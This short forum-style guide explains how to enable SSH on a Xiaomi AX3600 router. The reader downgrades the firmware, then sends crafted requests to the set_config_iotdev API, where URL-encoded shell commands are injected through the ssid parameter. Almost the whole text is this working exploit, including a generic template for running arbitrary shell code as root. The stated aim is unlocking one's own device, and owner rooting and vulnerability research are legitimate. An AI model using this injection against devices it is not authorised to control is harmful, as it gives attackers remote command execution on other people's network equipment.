Half a year has passed since the release of the xiaomi wifi6 router ax3600. And finally we can get the ssh access on it.
The origin exploit is found by LonGDikE from Chinese Enshan forum.
Here are the steps:
- Downgrade your router to 1.0.17 version:http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r3600/miwifi_r3600_firmware_5da25_1.0.17.bin
- Login in to your router and get the STOK like follwing:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router - Access these urls in browser:
(nvram set ssh_en=1;nvram commit)
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B
(sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear)
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bsed%20-i%20's/channel=.*/channel=%5C%22debug%5C%22/g'%20/etc/init.d/dropbear%3B
(/etc/init.d/dropbear start)
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B/etc/init.d/dropbear%20start%3B
- If everything is ok ,the ssh is enabled now.
PS: You can excute any shell code like this:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B<your encoded shell code>%3B